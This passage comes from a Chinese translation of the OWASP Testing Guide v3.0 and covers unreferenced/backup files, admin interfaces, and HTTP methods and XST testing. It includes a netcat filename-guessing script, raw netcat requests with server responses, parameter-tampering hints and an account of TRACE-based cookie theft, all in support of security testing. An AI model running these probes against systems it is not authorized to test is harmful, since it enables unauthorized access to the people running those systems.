• 未 被 引 用 文 件 可 能 透 露 敏 感 的 信 息 , 可 以 帮 助 一 个 对 应 用 程 序 的 重 点 攻 击 , 例 如 包 含 数 据 库 凭 证 的 文 件 ,<br />

包 含 对 其 它 隐 藏 内 容 引 用 的 配 置 文 件 , 绝 对 文 件 路 径 等 。<br />

• 未 被 引 用 网 页 可 能 包 含 可 以 用 来 攻 击 应 用 程 序 的 强 大 功 能 , 例 如 虽 然 在 发 布 的 内 容 中 没 有 链 接 连 接 到 管 理<br />

页 面 , 但 是 知 道 如 何 访 问 的 用 户 确 能 直 接 访 问 到 管 理 页 面 。<br />

• 过 时 文 件 和 备 份 文 件 可 能 含 有 已 在 新 版 本 中 修 复 的 安 全 漏 洞 。 例 如 viewdoc.old.jsp 可 能 包 含 目 录 遍 历 漏<br />

洞 , 这 一 漏 洞 已 经 在 viewdoc.jsp 修 复 , 但 仍 然 可 以 被 发 现 旧 版 本 的 人 利 用 。<br />

• 备 份 文 件 可 以 泄 露 在 服 务 器 上 执 行 的 页 面 的 源 代 码 。 例 如 请 求 viewdoc.bak 可 能 返 回 viewdoc.jsp 的 源 代<br />

码 , 这 可 能 在 漏 洞 检 查 时 发 现 , 然 而 我 们 很 难 通 过 对 执 行 页 面 做 盲 目 请 求 发 现 这 些 漏 洞 。 这 种 威 胁 显 然 适<br />

用 于 脚 本 语 言 , 如 Perl,PHP,ASP,shell 脚 本 ,JSP 等 , 正 如 下 文 提 到 的 案 例 , 它 不 仅 限 于 这 些 。<br />

• 备 份 档 案 可 能 包 含 在 Webroot 内 ( 甚 至 webroot 外 ) 的 所 有 文 件 的 副 本 。 这 使 黑 客 能 够 迅 速 遍 历 整 个 应 用<br />

程 序 , 包 括 未 被 引 用 网 页 , 源 代 码 , 包 括 档 案 等 。 例 如 , 如 果 你 遗 留 了 一 个 包 含 servlet 实 现 类 ( 副 本 )<br />

的 名 为 myservlets.jar.old 的 文 件 , 你 就 泄 露 了 很 多 敏 感 信 息 , 这 些 信 息 容 易 被 反 编 译 和 逆 向 工 程 。<br />

103


• 在 某 些 情 况 下 , 复 制 或 编 辑 一 个 文 件 并 没 有 修 改 文 件 的 扩 展 名 , 只 是 修 改 了 文 件 名 。 例 如 在 Windows 环 境<br />

下 , 文 件 复 制 操 作 生 成 前 缀 为 “Copy of” 或 此 字 符 串 本 地 化 版 本 的 文 件 名 。 由 于 文 件 扩 展 名 是 保 持 不 变 ,<br />

这 和 一 个 可 执 行 的 文 件 由 web 服 务 器 返 回 成 纯 文 本 文 件 是 不 相 同 的 , 因 此 不 是 源 代 码 泄 露 问 题 。 然 而 。 这<br />

些 文 件 也 很 危 险 。 他 们 有 可 能 包 含 过 时 和 不 正 确 的 逻 辑 。 如 果 诊 断 信 息 显 示 功 能 已 经 启 用 , 那 幺 一 旦 调 用<br />

这 些 逻 辑 , 就 可 能 引 发 应 用 错 误 导 致 将 宝 贵 的 信 息 泄 露 给 攻 击 者 。<br />

• 日 志 文 件 可 能 包 含 应 用 程 序 用 户 活 动 的 敏 感 信 息 , 例 如 在 URL 参 数 , 会 话 ID, 已 访 问 的 网 址 ( 可 能 会 暴 露<br />

其 它 未 被 引 用 的 内 容 ) 等 等 中 传 输 的 敏 感 数 据 。 其 它 日 志 文 件 ( 如 FTP 日 志 ) 可 能 包 含 关 于 系 统 管 理 员 维<br />

护 应 用 程 序 的 敏 感 信 息 。<br />

对 策<br />

为 了 保 证 有 效 的 保 护 战 略 , 测 试 应 由 安 全 策 略 组 成 , 其 中 明 确 禁 止 一 些 危 险 的 做 法 , 如 :<br />

• 在 web 服 务 器 / 应 用 程 序 服 务 器 文 件 系 统 就 地 编 辑 文 件 。 这 是 个 明 显 的 坏 习 惯 因 为 它 很 可 能 由 编 辑 器 自 动 产<br />

生 备 份 文 件 。 但 是 即 使 是 在 大 公 司 , 这 种 情 况 也 经 常 看 到 。 如 果 你 确 实 需 要 在 产 品 系 统 中 编 辑 文 件 , 请 务<br />

必 确 保 不 留 下 任 何 原 本 不 需 要 的 文 件 , 同 时 要 考 虑 到 你 需 要 担 当 的 风 险 。<br />

• 仔 细 检 查 在 被 Web 服 务 器 暴 露 的 文 件 系 统 上 从 事 的 任 何 其 它 活 动 , 如 现 场 管 理 的 活 动 。 例 如 , 如 果 您 偶 尔<br />

需 要 对 一 些 目 录 保 留 快 照 ( 在 产 品 系 统 中 你 本 不 应 该 ...), 你 可 能 首 先 要 对 这 些 目 录 实 行 zip/tar 操 作 。 小<br />

心 , 不 要 忘 记 档 案 后 的 文 档 !<br />

• 适 当 的 配 置 管 理 政 策 会 对 不 乱 放 过 时 文 件 和 未 被 引 用 文 件 起 一 定 的 作 用 。<br />

• 应 用 程 序 不 应 该 创 建 到 ( 或 依 赖 于 ) 存 储 在 web 服 务 器 支 持 的 web 目 录 树 中 的 文 件 目 录 树 中 的 文 件 目 录 树<br />

中 的 文 件 目 录 树 中 的 文 件 目 录 树 中 的 文 件 文 件 。 数 据 文 件 , 日 志 文 件 , 配 置 文 件 等 应 存 放 在 Web 服 务 器 无<br />

法 访 问 的 目 录 中 , 以 对 付 可 能 的 信 息 泄 露 ( 更 不 用 说 数 据 修 改 , 如 果 网 站 目 录 权 限 允 许 修 改 ...)<br />

黑 盒 测 试<br />

使 用 自 动 和 手 动 技 术 对 未 被 引 用 文 件 进 行 测 试 , 通 常 结 合 了 下 面 的 方 法 :<br />

(i) 发 布 内 容 的 命 名 方 式 推 理<br />

如 果 还 没 有 这 样 做 , 列 举 所 有 的 应 用 程 序 的 页 面 和 功 能 。 可 以 使 用 浏 览 器 手 动 完 成 或 使 用 应 用 程 序 蜘 蛛 抓 取 工 具 完<br />

成 。 大 多 数 应 用 程 序 使 用 可 识 别 的 命 名 方 案 , 将 各 种 资 源 组 织 到 页 面 和 目 录 下 , 使 用 的 词 语 可 以 描 绘 它 们 的 功 能 。<br />

从 发 布 内 容 的 命 名 方 式 可 以 推 断 未 被 引 用 文 件 的 名 称 和 存 储 地 。 例 如 : 如 果 发 现 名 为 viewuser.asp 的 网 页 , 同 样 可<br />

以 找 到 edituser.asp,adduser.asp 和 deleteuser.asp。 如 果 发 现 /app/use 这 个 目 录 , 同 样 可 以 找 到 /app/admin 和<br />

/app/manager。<br />

(ii) 发 布 的 内 容 中 的 其 它 线 索<br />

许 多 Web 应 用 程 序 在 发 布 内 容 中 留 下 了 线 索 。 可 以 利 用 这 些 线 索 找 到 隐 藏 的 页 面 和 功 能 。 这 些 线 索 通 常 在 HTML 源<br />

代 码 和 JavaScript 文 件 中 出 现 。 应 该 手 动 检 测 所 有 发 布 文 件 的 源 代 码 以 寻 找 关 于 其 它 页 面 和 功 能 的 线 索 。 例 如 :<br />

104


OWASP 测 试 指 南 v3.0<br />

程 序 员 的 注 释 和 部 分 被 注 释 掉 的 源 代 码 都 可 能 涉 及 到 隐 藏 内 容 :<br />

<br />

<br />

JavaScript 可 能 包 含 只 在 某 特 定 环 境 下 在 用 户 GUI 中 提 供 的 网 页 链 接 :<br />

var adminUser=false;<br />

:<br />

if (adminUser) menu.add (new menuItem ("Maintain users", "/admin/useradmin.jsp"));<br />

HTML pages may contain FORMs that have been hidden by disabling the SUBMIT element:<br />

<br />

<br />

<br />

<br />

未 被 引 用 目 录 的 另 一 个 线 索 源 就 是 用 来 对 网 络 机 器 人 提 供 指 令 的 /robots.txt 文 件 :<br />

User-agent: *<br />

Disallow: /Admin<br />

Disallow: /uploads<br />

Disallow: /backup<br />

Disallow: /~jbloggs<br />

Disallow: /include<br />

(iii) 盲 测<br />

这 是 最 简 单 的 形 式 , 通 过 请 求 引 擎 运 行 一 系 列 常 见 的 文 件 名 来 试 图 猜 测 存 在 于 服 务 器 上 的 文 件 名 和 目 录 名 。 下 面 的<br />

netcat 封 装 脚 本 将 从 stdin 中 读 取 wordlist 并 执 行 的 基 本 猜 测 攻 击 :<br />

#!/bin/bash<br />

server=www.targetapp.com<br />

port=80<br />

while read url<br />

do<br />

echo -ne "$url\t"<br />

echo -e "GET /$url HTTP/1.0\nHost: $server\n" | netcat $server $port | head -1<br />

done | tee outputfile<br />

根 据 服 务 器 不 同 , 使 用 HEAD 代 替 GET 获 得 更 快 的 结 果 。 指 定 的 输 出 文 件 中 能 查 询 出 “ 有 趣 ” 的 响 应 代 码 。 响 应 代 码<br />

200 ( 正 常 ) 通 常 表 明 发 现 了 一 个 有 效 的 资 源 ( 假 如 服 务 器 不 会 对 自 定 义 的 “ 找 不 到 ” 页 面 返 回 200 编 码 )。 而 且 搜<br />

寻 301( 移 动 ),302( 找 到 ),401( 未 授 权 ),403( 禁 止 ) 和 500( 内 部 错 误 ), 这 些 都 可 能 是 值 得 进 一 步 调 查<br />

的 资 源 或 目 录 。<br />

105


基 本 猜 测 攻 击 应 该 针 对 Webroot 进 行 , 同 时 也 针 对 所 有 通 过 其 它 列 举 技 术 确 定 的 目 录 。 更 先 进 / 更 有 效 的 猜 测 攻 击<br />

可 以 执 行 如 下 :<br />

• 确 定 在 应 用 程 序 已 知 区 域 内 使 用 的 文 件 扩 展 名 ( 如 JSP,aspx,HTML), 并 使 用 一 个 附 有 这 些 扩 展 名 的 基 本<br />

词 类 表 ( 或 者 如 果 资 源 允 许 , 使 用 更 长 的 常 见 扩 展 名 列 表 )。<br />

• 为 每 个 通 过 其 它 列 举 技 术 确 定 的 文 件 创 建 一 个 源 自 文 件 名 的 自 定 义 词 源 。 从 而 获 得 通 用 文 件 扩 展 名 列 表<br />

( 包 括 ~, bak, txt, src, dev, old, inc, orig, copy, tmp, 等 ), 并 将 每 个 扩 展 名 用 在 真 实 文 件 扩 展 名 之 前 , 之 后 或<br />

代 替 该 文 件 扩 展 名 。<br />

注 意 : Windows 文 件 复 制 操 作 生 成 前 缀 为 ”copy of” 的 文 件 名 或 者 这 个 字 符 串 本 地 化 的 版 本 。 因 此 , 它 们 不 改 变 文 件<br />

扩 展 名 。 虽 然 “copy of ” 文 件 一 般 在 被 访 问 时 不 会 泄 露 源 代 码 , 但 是 如 果 他 们 在 调 用 时 产 生 错 误 , 它 们 可 能 产 生 有 价<br />

值 的 信 息 。<br />

(iv) 通 过 服 务 器 的 漏 洞 和 错 误 配 置 获 得 的 信 息<br />

错 误 配 置 的 服 务 器 泄 露 未 被 引 用 页 面 的 最 明 显 的 方 式 就 是 通 过 目 录 列 举 。 请 求 所 有 列 举 的 目 录 以 确 认 其 中 哪 些 提 供<br />

了 目 录 列 举 。 在 允 许 攻 击 者 遍 历 未 被 引 用 内 容 的 web 服 务 器 中 已 经 发 现 许 多 漏 洞 , 例 如 :<br />

• Apache ?M=D 的 目 录 列 举 漏 洞 。<br />

• 不 同 的 IIS 的 脚 本 源 代 码 泄 露 的 漏 洞 。<br />

• IIS 中 的 WebDAV 目 录 列 举 漏 洞 。<br />

(v) 公 开 资 料 使 用<br />

在 面 向 互 联 网 的 web 应 用 程 序 中 , 页 面 和 功 能 可 能 没 有 被 应 用 程 序 本 身 所 引 用 而 被 其 它 公 共 域 资 源 所 引 用 。 有 各 种<br />

引 用 资 源 :<br />

• 被 引 用 的 页 面 可 能 仍 然 会 出 现 在 互 联 网 搜 索 引 擎 的 档 案 中 。 例 如 ,1998results.asp 可 能 不 再 从 一 个 公 司 的 网<br />

站 链 接 出 来 , 但 它 可 能 仍 然 保 留 在 服 务 器 和 搜 索 引 擎 数 据 库 中 。 这 老 的 脚 本 可 能 包 含 可 以 危 及 整 个 网 站 的<br />

漏 洞 。 可 以 用 谷 歌 搜 索 操 作 符 site: 来 对 你 选 择 的 域 名 查 询 , 例 如 site:www.example.com。( 误 ) 用 这 种 方<br />

式 使 用 搜 索 引 擎 导 致 了 一 系 列 广 泛 的 技 术 产 生 , 您 会 发 现 一 些 有 用 的 技 术 , 这 些 技 术 在 本 指 南 中 谷 歌 黑 客<br />

章 节 中 有 介 绍 。 阅 读 这 一 章 可 以 通 过 谷 歌 磨 练 你 的 测 试 技 能 。 备 份 文 件 可 能 不 会 被 任 何 其 它 文 件 引 用 , 因<br />

此 谷 歌 可 能 还 没 有 收 录 它 们 。 但 如 果 他 们 是 在 浏 览 目 录 中 , 搜 索 引 擎 可 能 会 知 道 这 些 。<br />

• 此 外 , 谷 歌 和 雅 虎 保 存 机 器 人 找 到 的 页 面 的 缓 存 版 。 即 使 1998results.asp 已 从 目 标 服 务 器 删 除 , 搜 索 引 擎<br />

可 能 仍 然 保 留 其 输 出 的 一 个 版 本 。 缓 存 版 本 可 能 包 含 对 仍 存 于 服 务 器 上 的 其 它 隐 藏 内 容 的 引 用 或 相 关 线<br />

索 。<br />

• 在 一 个 目 标 应 用 程 序 中 没 有 被 引 用 的 内 容 可 能 被 连 接 到 第 三 方 网 站 。 例 如 , 代 表 第 三 方 处 理 在 线 支 付 的 应<br />

用 程 序 可 能 包 含 很 多 预 定 功 能 ,( 通 常 ) 只 能 在 其 客 户 网 站 中 找 到 这 些 功 能 的 链 接 。<br />

106


OWASP 测 试 指 南 v3.0<br />

灰 盒 测 试<br />

对 过 时 文 件 和 备 份 文 件 进 行 灰 盒 测 试 要 求 检 查 目 录 中 的 文 件 , 这 些 目 录 包 含 在 web 应 用 程 序 架 构 中 的 web 服 务 器<br />

所 提 供 的 web 目 录 中 。 理 论 上 讲 , 只 有 手 动 检 查 才 能 彻 底 。 然 而 , 因 为 大 多 数 情 况 下 文 件 副 本 或 备 份 文 件 往 往 是 使<br />

用 同 样 的 命 名 约 定 创 建 的 , 很 容 易 使 用 脚 本 搜 索 到 。( 例 如 : 编 辑 器 会 留 下 用 可 识 别 扩 展 名 或 后 缀 命 名 的 备 份 副<br />

本 , 而 人 会 留 下 以 “.old” 或 类 似 可 猜 测 的 扩 展 名 等 命 名 的 文 件 )。 定 期 运 行 后 台 作 业 检 查 那 些 表 明 文 件 可 能 是 副 本 /<br />

备 份 文 件 的 文 件 扩 展 名 , 并 且 在 较 长 时 间 后 进 行 手 动 检 查 是 个 很 好 的 办 法 。<br />

参 考<br />

工 具<br />

• Vulnerability assessment tools tend to include checks to spot web directories having standard names (such as “admin”, “test”,<br />

“backup”, etc.), and to report any web directory which allows indexing. If you can’t get any directory listing, you should try to<br />

check for likely backup extensions. Check for example Nessus (http://www.nessus.org), Nikto<br />

(http://www.cirt.net/code/nikto.shtml) or its new derivative Wikto (http://www.sensepost.com/research/wikto/) which<br />

supports also Google hacking based strategies.<br />

• Web spider tools: wget (http://www.gnu.org/software/wget/, http://www.interlog.com/~tcharron/wgetwin.html); Sam Spade<br />

(http://www.samspade.org); Spike proxy includes a web site crawler function (http://www.immunitysec.com/spikeproxy.html);<br />

Xenu (http://home.snafu.de/tilman/xenulink.html); curl (http://curl.haxx.se). Some of them are also included in standard Linux<br />

distributions.<br />

• Web development tools usually include facilities to identify broken links and unreferenced files.<br />

4.3.7 基 础 结 构 和 应 用 管 理 界 面 (OWASP-CM-007)<br />

概 述<br />

管 理 员 界 面 可 能 存 在 于 应 用 程 序 或 应 用 服 务 器 , 允 许 某 些 用 户 在 网 站 上 进 行 特 权 操 作 。 进 行 测 试 就 是 为 了 检 测 未 授<br />

权 或 标 准 用 户 是 否 能 使 用 这 些 特 权 功 能 , 以 及 如 何 利 用 这 些 特 权 功 能 。<br />

问 题 描 述<br />

应 用 程 序 可 能 需 要 系 统 管 理 员 界 面 , 使 特 权 用 户 能 访 问 某 些 功 能 以 便 改 变 网 站 各 项 功 能 。 这 些 改 变 可 能 包 括 :<br />

- 用 户 帐 户 创 建<br />

- 网 站 的 设 计 和 布 局<br />

- 数 据 处 理<br />

- 配 置 改 变<br />

107


在 许 多 情 况 下 , 这 种 界 面 在 实 现 时 通 常 很 少 考 虑 到 如 何 将 它 们 与 网 站 正 常 用 户 分 开 。 测 试 的 目 的 是 为 了 发 现 这 些 管<br />

理 员 界 面 并 访 问 这 些 为 特 权 用 户 设 计 的 功 能 。<br />

黑 盒 测 试 实 例<br />

下 面 介 绍 的 各 点 可 用 于 测 试 是 否 存 在 管 理 接 口 。 这 些 技 术 也 可 用 于 测 试 包 括 特 权 升 级 的 相 关 问 题 , 这 些 技 术 也 在 本<br />

指 南 中 其 它 地 方 有 详 细 说 明 :<br />

• 目 录 和 文 件 枚 举 —— 一 个 管 理 界 面 可 能 存 在 , 但 没 有 明 显 提 供 给 测 试 者 。 试 图 猜 测 管 理 界 面 路 径 可 能 像 请<br />

求 :/admin 或 /administrator 等 一 样 简 单 。 测 试 者 可 能 还 需 要 确 定 管 理 页 面 的 文 件 名 。 强 行 浏 览 到 所 确 定 的<br />

网 页 可 能 访 问 到 这 一 个 界 面 。<br />

• 代 码 中 的 注 释 和 链 接 —— 许 多 网 站 使 用 共 同 的 代 码 为 所 有 网 站 用 户 加 载 。 通 过 审 查 所 有 发 送 给 客 户 端 的 代<br />

码 , 可 能 会 发 现 连 接 管 理 员 功 能 的 链 接 , 而 这 需 要 进 行 调 查 。<br />

• 审 查 服 务 器 和 应 用 程 序 文 件 —— 如 果 应 用 程 序 服 务 器 或 应 用 程 序 按 照 其 默 认 配 置 进 行 了 部 署 , 使 用 配 置 或<br />

帮 助 文 档 的 信 息 就 有 可 能 访 问 到 管 理 界 面 。 如 果 发 现 一 个 管 理 界 面 并 需 要 凭 证 , 应 该 查 询 默 认 密 码 列 表 。<br />

• 可 选 服 务 器 端 口 —— 可 能 会 发 现 管 理 界 面 在 与 主 应 用 程 序 不 同 的 端 口 上 。 例 如 ,Apache Tomcat's 管 理 界 面<br />

常 常 可 以 在 端 口 8080 看 到 。<br />

• 参 数 篡 改 —— 实 现 管 理 员 功 能 可 能 需 要 GET 或 POST 参 数 或 一 个 cookie 变 量 。 线 索 如 下 :<br />

include the presence of hidden fields such as:<br />

<br />

or in a cookie:<br />

Cookie: session_cookie; useradmin=0<br />

一 旦 发 现 管 理 界 面 , 可 以 通 过 结 合 使 用 上 述 各 种 技 术 尝 试 绕 过 验 证 。 如 果 失 败 , 测 试 者 不 妨 尝 试 蛮 力 攻 击 。 在 这 种<br />

情 况 下 测 试 者 应 该 意 识 到 可 能 会 引 起 管 理 账 户 被 锁 定 如 果 这 一 功 能 存 在 。<br />

灰 盒 测 试 实 例<br />

应 采 取 对 服 务 器 和 应 用 程 序 组 件 更 详 细 地 审 查 以 确 保 安 全 加 固 ( 即 通 过 使 用 IP 过 滤 或 其 它 控 件 使 管 理 员 网 页 不 是<br />

任 何 人 都 可 访 问 ), 如 果 可 以 , 验 证 所 有 组 件 不 使 用 默 认 的 凭 证 或 配 置 。<br />

应 对 源 代 码 加 以 审 查 , 以 确 保 授 权 和 验 证 模 块 能 保 证 正 常 的 用 户 和 网 站 管 理 员 间 的 职 责 被 明 确 分 开 。 审 查 由 正 常 的<br />

用 户 和 网 站 管 理 员 共 享 的 用 户 界 面 , 以 确 保 各 组 件 的 绘 制 和 共 享 功 能 中 的 信 息 泄 露 之 间 的 明 确 区 别 。<br />

108


OWASP 测 试 指 南 v3.0<br />

参 考<br />

• Default Password list:<br />

http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php<br />

4.3.8 HTTP 方 法 和 XST 测 试 (OWASP-CM-008)<br />

概 述<br />

HTTP 提 供 了 多 种 方 法 , 可 用 于 在 Web 服 务 器 执 行 操 作 。 设 计 这 些 方 法 是 为 了 帮 助 开 发 人 员 部 署 和 测 试 HTTP 应 用 。<br />

如 果 Web 服 务 器 配 置 错 误 , 那 幺 这 些 HTTP 方 法 可 能 被 人 恶 意 利 用 。 此 外 , 检 测 跨 站 跟 踪 攻 击 (XST), 即 一 种 使 用<br />

服 务 器 HTTP TRACE 方 法 的 跨 站 点 脚 本 攻 击 。<br />

问 题 的 简 单 描 述<br />

GET 和 POST 是 目 前 用 于 获 取 Web 服 务 器 提 供 的 信 息 的 最 常 用 的 方 法 。 而 超 文 本 传 输 协 议 (HTTP) 允 许 其 它 几 种 ( 和<br />

不 太 知 道 ) 的 方 法 。RFC 2616( 其 中 描 述 的 HTTP 1.1 版 就 是 今 天 的 标 准 ) 定 义 了 以 下 8 个 方 法 :<br />

• HEAD<br />

• GET<br />

• POST<br />

• PUT<br />

• DELETE<br />

• TRACE<br />

• OPTIONS<br />

• CONNECT<br />

其 中 一 些 方 法 可 能 会 给 一 个 Web 应 用 程 序 造 成 安 全 风 险 , 因 为 它 们 允 许 攻 击 者 修 改 存 储 在 Web 服 务 器 上 的 文 件 , 并<br />

在 某 些 情 况 下 , 窃 取 合 法 用 户 的 凭 证 。 更 具 体 地 说 , 应 禁 用 如 下 方 法 :<br />

• PUT: 此 方 法 允 许 客 户 端 在 Web 服 务 器 上 上 传 新 文 件 。 攻 击 者 可 以 利 用 它 上 传 恶 意 文 件 ( 如 : 通 过 调 用<br />

cmd.exe 来 执 行 命 令 的 asp 文 件 ), 或 简 单 地 使 用 受 害 服 务 器 作 为 的 档 案 库 。<br />

• DELETE: 此 方 法 允 许 客 户 端 在 Web 服 务 器 上 删 除 文 件 。 攻 击 者 可 以 利 用 它 作 为 一 个 损 害 网 站 或 发 起 DoS 攻<br />

击 的 简 单 且 直 接 的 方 式 。<br />

109


• CONNECT: 此 方 法 可 让 客 户 端 使 用 Web 服 务 器 作 为 代 理<br />

• TRACE: 不 管 发 送 给 服 务 器 的 是 何 种 字 符 串 , 此 方 法 会 简 单 将 这 些 返 回 到 客 户 端 , 其 主 要 目 的 是 用 于 调 试 。<br />

这 种 方 法 虽 最 初 被 认 为 无 害 , 但 可 以 用 作 称 为 跨 站 追 查 的 攻 击 , 这 种 攻 击 是 由 Jeremiah Grossman 发 现 的<br />

( 见 网 页 底 部 的 链 接 )<br />

如 果 应 用 程 序 需 要 使 用 一 个 或 多 个 方 法 , 如 REST Web 服 务 ( 这 可 能 需 要 PUT 或 DELETE), 确 认 使 用 这 些 方 法 是 否<br />

只 在 受 信 任 用 户 和 安 全 条 件 下 使 用 就 尤 为 重 要 。<br />

任 意 HTTP 方 法<br />

Arshan Dabirsiaghi( 见 链 接 ) 发 现 , 许 多 Web 应 用 程 序 框 架 允 许 精 心 挑 选 的 和 / 或 任 意 HTTP 方 法 绕 过 环 境 层 从 而<br />

访 问 控 制 检 查 :<br />

• 许 多 框 架 和 语 言 把 “HEAD” 当 作 “GET” 请 求 , 尽 管 在 返 回 时 没 有 任 何 的 主 体 信 息 。 如 果 一 个 安 全 制 约 因 素<br />

是 建 立 在 “GET” 请 求 上 , 那 幺 只 有 “ 验 证 的 用 户 ” 才 能 通 过 GET 请 求 获 取 某 一 特 定 的 小 程 序 或 资 源 , 而 针<br />

对 “HEAD” 版 本 就 不 会 出 现 这 样 的 情 况 。 这 就 允 许 享 有 特 权 的 GET 请 求 在 未 经 授 权 情 况 下 被 盲 送 出 去 。<br />

• 一 些 框 架 允 许 无 限 制 使 用 任 意 的 HTTP 方 法 , 如 “JEFF” 或 “CATS”。 这 种 都 被 视 为 “GET” 方 法 被 调 用 , 并<br />

发 现 在 很 多 语 言 和 框 架 下 , 它 们 不 再 受 基 于 方 法 角 色 的 访 问 控 制 的 约 束 , 也 就 允 许 享 有 特 权 的 GET 请 求 在<br />

未 经 授 权 情 况 下 被 盲 送 出 去 。<br />

在 许 多 情 况 下 , 明 确 检 查 了 “GET” 或 “POST” 方 法 的 代 码 才 是 安 全 的 。<br />

黑 盒 测 试 实 例<br />

发 现 支 持 的 方 法<br />

要 执 行 此 测 试 , 我 们 需 要 某 种 方 式 找 出 我 们 正 在 研 究 的 Web 服 务 器 所 支 持 的 HTTP 方 法 。 要 做 到 这 一 点 ,OPTIONS<br />

HTTP 方 法 为 我 们 提 供 了 最 直 接 和 最 有 效 的 方 式 。RFC 2616 指 出 ,“OPTIONS HTTP 方 法 代 表 了 请 求 通 信 选 择 信 息 ,<br />

此 信 息 存 在 于 Request-URI 所 确 定 的 请 求 / 响 应 链 中 ” 。<br />

测 试 方 法 非 常 直 观 , 我 们 只 需 要 启 动 netcat ( 或 telnet):<br />

icesurfer@nightblade ~ $ nc www.victim.com 80<br />

OPTIONS / HTTP/1.1<br />

Host: www.victim.com<br />

HTTP/1.1 200 OK<br />

Server: Microsoft-IIS/5.0<br />

Date: Tue, 31 Oct 2006 08:00:29 GMT<br />

Connection: close<br />

Allow: GET, HEAD, POST, TRACE, OPTIONS<br />

110


OWASP 测 试 指 南 v3.0<br />

Content-Length: 0<br />

icesurfer@nightblade ~ $<br />

正 如 我 们 看 到 的 , 在 这 个 例 子 中 ,OPTIONS 列 出 了 Web 服 务 器 所 支 持 的 方 法 。 例 如 , 在 这 种 情 况 下 , 我 们 可 以 看 到<br />

TRACE 方 法 被 启 用 了 。 下 一 节 将 说 明 这 种 方 法 造 成 的 危 险 性 。<br />

测 试 XST 可 能 性<br />

注 : 为 了 了 解 此 类 攻 击 的 逻 辑 和 目 标 , 你 需 要 熟 悉 Cross Site Scripting attacks。<br />

TRACE 方 法 显 然 是 无 害 的 , 但 它 可 以 在 某 些 情 况 下 成 功 窃 取 合 法 用 户 的 凭 证 。 这 种 攻 击 技 术 是 由 Jeremiah Grossman<br />

在 2003 年 发 现 的 。 它 企 图 绕 过 HTTPOnly 标 记 , 而 这 一 标 记 是 微 软 在 Internet Explorer 6 SP1 中 推 出 的 用 于 防 止 通 过<br />

JavaScript 来 访 问 Cookie。 事 实 上 , 跨 站 脚 本 中 一 个 最 常 见 的 攻 击 模 式 是 进 入 document.cookie 对 象 并 将 其 发 送 到 攻<br />

击 者 所 控 制 的 Web 服 务 器 , 以 使 他 / 她 可 以 劫 持 受 害 者 的 会 话 。 将 一 个 cookie 标 记 为 httpOnly 能 禁 止 JavaScript 访<br />

问 它 , 能 防 止 它 被 发 送 给 第 三 方 。 然 而 , 可 以 利 用 TRACE 方 法 绕 过 这 种 保 护 , 即 使 在 这 种 情 况 下 也 能 访 问 Cookie。<br />

如 前 所 述 ,TRACE 能 返 回 任 何 发 送 给 web 服 务 器 的 字 符 串 。 为 了 验 证 它 的 存 在 ( 或 复 核 上 述 OPTIONS 请 求 的 结<br />

果 ), 我 们 可 以 按 照 下 面 例 子 执 行 :<br />

icesurfer@nightblade ~ $ nc www.victim.com 80<br />

TRACE / HTTP/1.1<br />

Host: www.victim.com<br />

HTTP/1.1 200 OK<br />

Server: Microsoft-IIS/5.0<br />

Date: Tue, 31 Oct 2006 08:01:48 GMT<br />

Connection: close<br />

Content-Type: message/http<br />

Content-Length: 39<br />

TRACE / HTTP/1.1<br />

Host: www.victim.com<br />

我 们 可 以 看 到 , 响 应 的 主 体 完 全 是 我 们 原 来 的 请 求 的 副 本 , 也 就 是 说 , 我 们 的 目 标 服 务 器 允 许 使 用 这 种 方 法 。 现<br />

在 , 危 险 存 在 于 什 幺 地 方 呢 ? 如 果 我 们 指 示 浏 览 器 对 web 服 务 器 发 出 TRACE 请 求 , 而 这 种 浏 览 器 存 在 该 域 名 的<br />

Cookie 时 ,cookie 将 被 自 动 包 含 在 请 求 报 头 中 , 因 此 将 在 所 产 生 的 返 回 结 果 中 体 现 。 那 种 情 况 下 , 可 以 通 过<br />

JavaScript 访 问 这 个 Cookie 字 符 串 , 并 且 最 终 将 cookie 发 送 给 第 三 方 , 即 使 Cookie 被 标 记 为 httpOnly。<br />

111


使 浏 览 器 发 送 TRACE 请 求 可 以 有 多 种 方 法 , 如 在 Internet Explorer 中 的 XMLHTTP ActiveX 控 件 和 Mozilla 和 Netscape<br />

中 XMLDOM。 然 而 , 出 于 安 全 考 虑 , 浏 览 器 是 可 以 开 始 只 连 接 到 恶 意 脚 本 所 存 在 的 域 。 这 是 一 个 缓 和 因 素 , 因 为 攻<br />

击 者 需 要 将 其 它 漏 洞 和 TRACE 方 法 结 合 才 能 发 动 攻 击 。 基 本 上 , 攻 击 者 有 两 个 办 法 可 以 成 功 地 发 动 一 个 跨 站 点 追 踪<br />

攻 击 :<br />

• 1 . 利 用 另 一 个 服 务 器 端 漏 洞 : 攻 击 者 在 有 漏 洞 的 应 用 程 序 中 注 入 含 有 Trace 请 求 的 恶 意 JavaScript 片 段 , 就<br />

如 同 一 个 普 通 的 跨 站 脚 本 攻 击 。<br />

• 2. 利 用 客 户 端 的 漏 洞 : 攻 击 者 创 建 一 个 含 有 恶 意 JavaScript 片 段 的 恶 意 网 站 , 并 利 用 受 害 者 浏 览 器 中 的 一 些<br />

跨 域 漏 洞 , 使 JavaScript 代 码 能 成 功 连 接 到 支 持 TRACE 方 法 并 能 产 生 攻 击 者 正 试 图 窃 取 的 Cookie 的 网 站 。<br />

连 同 代 码 样 本 的 更 详 细 的 资 料 可 以 在 Jeremiah Grossman 撰 写 的 白 皮 书 中 找 到 。<br />

HTTP 方 法 篡 改 的 黑 盒 测 试<br />

HTTP 方 法 篡 改 的 测 试 本 质 上 与 XST 测 试 相 同 。<br />

测 试 任 意 HTTP 方 法<br />

找 到 您 要 访 问 的 包 含 安 全 限 制 的 网 页 。 它 通 常 会 迫 使 302 重 定 向 到 登 录 页 或 迫 使 直 接 登 入 。 同 许 多 Web 应 用 程 序<br />

一 样 , 这 个 例 子 中 的 测 试 网 址 就 是 如 此 。 但 是 , 如 果 您 获 得 “200” 的 返 回 而 不 是 登 录 页 面 , 那 幺 就 可 能 绕 过 验 证<br />

得 到 的 授 权 。<br />

[rapidoffenseunit:~] vanderaj% nc www.example.com 80<br />

JEFF / HTTP/1.1<br />

Host: www.example.com<br />

HTTP/1.1 200 OK<br />

Date: Mon, 18 Aug 2008 22:38:40 GMT<br />

Server: Apache<br />

Set-Cookie: PHPSESSID=K53QW...<br />

如 果 你 的 框 架 或 防 火 墙 或 应 用 程 序 不 支 持 “JEFF” 的 方 法 , 它 应 当 引 发 错 误 页 面 ( 或 最 好 是 405 不 允 许 错 误 页 或 501<br />

